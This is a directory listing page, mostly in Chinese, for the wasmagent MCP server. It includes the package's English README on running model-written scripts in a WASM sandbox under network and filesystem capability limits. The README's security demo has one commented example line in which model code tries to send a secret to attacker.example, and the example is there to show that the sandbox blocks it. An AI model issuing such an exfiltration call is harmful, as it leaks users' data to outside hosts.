Telleroutlook

io.github.telleroutlook由 GitHub 帳號 telleroutlook 發布v1.1.1更新於 Oct 24, 2026

WasmAgent MCP server — WASM-sandboxed code execution with capability manifests and Tasks API.

概覽

AI 產生的概覽

讓助理在 WASM 沙箱中執行模型撰寫的指令碼,並透過 docs_search 與 execute_code 兩個工具調度已註冊的工具。

可以做什麼
這是一個把 wasmagent 代理程式公開為 MCP 伺服器的函式庫。它不會把每個下游工具直接發布給主機,而是把工具登錄表包裝成兩個工具的介面:docs_search 和 execute_code,指令碼透過 callTool 呼叫所需工具。它與傳輸方式無關,透過單一的 handle 方法處理 JSON-RPC,支援 stdio、HTTP/Streamable 和直接呼叫。CapabilityManifest 會在中核邊界對每個指令碼強制執行網路與檔案系統策略。
適用情境
適合下游工具很多、想降低把所有工具結構描述發布給主機所造成脈絡成本的情況;也適合需要讓模型產生的程式碼在明確的網路、檔案系統、CPU 與記憶體限制下執行時使用。零設定的 stdio 預設模式據說明僅適合自我檢查與探查。
執行需求
需要本機 Node.js 執行環境,以及伺服器、核心與中核(例如 QuickJS)的 npm 套件。實際部署需要撰寫小型 Node 指令碼,註冊工具並以自己的伺服器呼叫 runStdio;零設定預設模式沒有下游工具。未宣告帳號、API 金鑰或環境變數。
安裝前請注意
此伺服器會執行模型產生的程式碼;應依靠 CapabilityManifest 限制 allowedHosts、allowedPaths、cpuMs 與記憶體,因為空的允許清單才是阻擋網路與檔案系統存取的关键。專案標示為 beta,API 形式可能在次版本中變動。請審查所註冊的下游工具,因為指令碼可以呼叫其中任何一個。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 Telleroutlook,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

/mcp-server

Maturity: beta — API shape may change in minor versions; changes announced in CHANGELOG.

[Glama MCP server]

Expose any wasmagent agent as a Model Context Protocol (MCP) server.

Part of wasmagent — a TypeScript + WASM agent runtime.

Before / After

Replacing a bare tool list published directly to the host with a sandboxed execute_code surface:

diff
+import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";+import { QuickJSKernel } from "@wasmagent/kernel-quickjs";+import { ToolRegistry } from "@wasmagent/core";
-// Before: host sees every tool directly — 40 tools × schema = huge context cost-server.setRequestHandler(ListToolsRequestSchema, () => ({-  tools: [...allFortyTools],-}));+// After: host sees ONLY docs_search + execute_code; model dispatches internally+const tools = new ToolRegistry();+// tools.register(...) — register your 40 tools here++await runStdio(createCodeModeServer({+  tools,+  kernel: new QuickJSKernel(),+  capabilities: { allowedHosts: [], cpuMs: 5_000 },+  serverInfo: { name: "my-agent", version: "1.0.0" },+}));

At N=30 downstream tools the bootstrap-token cost drops to 13.6% of the direct approach. The model calls execute_code with a script; the script calls callTool(...) for whichever tools it needs — all under one CapabilityManifest.

Install

bash
npm install /mcp-server /core

Three transports, one server

The McpAgentServer is transport-agnostic: it speaks JSON-RPC through a single handle(req) method. Pick the transport that fits your host:

1. Stdio (Claude Desktop, Cursor, Glama health-check, …)

bash
# Zero-config default — code-mode server with VmKernel and no# downstream tools. Useful for sanity / introspection only.npx /mcp-server

For a real deployment, write a small Node script and call runStdio() with your own server:

ts
// server.mjsimport { createCodeModeServer, runStdio } from "/mcp-server/stdio";import { QuickJSKernel } from "/kernel-quickjs";import { ToolRegistry } from "/core";
const tools = new ToolRegistry();// tools.register(...)  — your tools here
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: { allowedHosts: [], cpuMs: 5000 },  serverInfo: { name: "my-agent", version: "1.0.0" },}));

2. HTTP / Streamable (Cloudflare Workers, Vercel, etc.)

ts
import { createCodeModeServer, createFetchHandler } from "/mcp-server";
const server = createCodeModeServer({ /* … */ });const handler = createFetchHandler(server);// In a Worker: export default { fetch: handler }

3. Direct handle()

If you have a custom transport, the protocol-level brain is one async (req) => { response } call away — see McpAgentServer.handle().

Code-mode (two-tool surface)

createCodeModeServer() wraps any tool registry into a docs_search + execute_code MCP surface. At N=30 downstream tools the bootstrap-token cost drops to 13.6% of direct MCP. See docs/guides/code-mode.md.

Security demo

CapabilityManifest enforces network and filesystem policy at the kernel boundary for every script the model runs through execute_code:

ts
import { createCodeModeServer, runStdio } from "@wasmagent/mcp-server/stdio";import { QuickJSKernel } from "@wasmagent/kernel-quickjs";import { ToolRegistry } from "@wasmagent/core";
const tools = new ToolRegistry();// tools.register(...)
await runStdio(createCodeModeServer({  tools,  kernel: new QuickJSKernel(),  capabilities: {    allowedHosts: [],           // no outbound network    allowedPaths: [],           // no filesystem access    cpuMs: 5_000,    memoryLimitBytes: 64 * 1024 * 1024,  },  serverInfo: { name: "my-agent", version: "1.0.0" },}));
// Model-generated code inside execute_code that tries to exfiltrate data:// fetch("https://attacker.example/exfil?data=secret")// → throws: network access denied — host "attacker.example" not in allowedHosts

The manifest is enforced regardless of which downstream tools the script calls — one declaration covers the entire execute_code surface.

License

Apache-2.0 — © wasmagent contributors

來源:packages/mcp-server/README.md,提交 c1a573f

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v1.1.1最新Sep 16, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分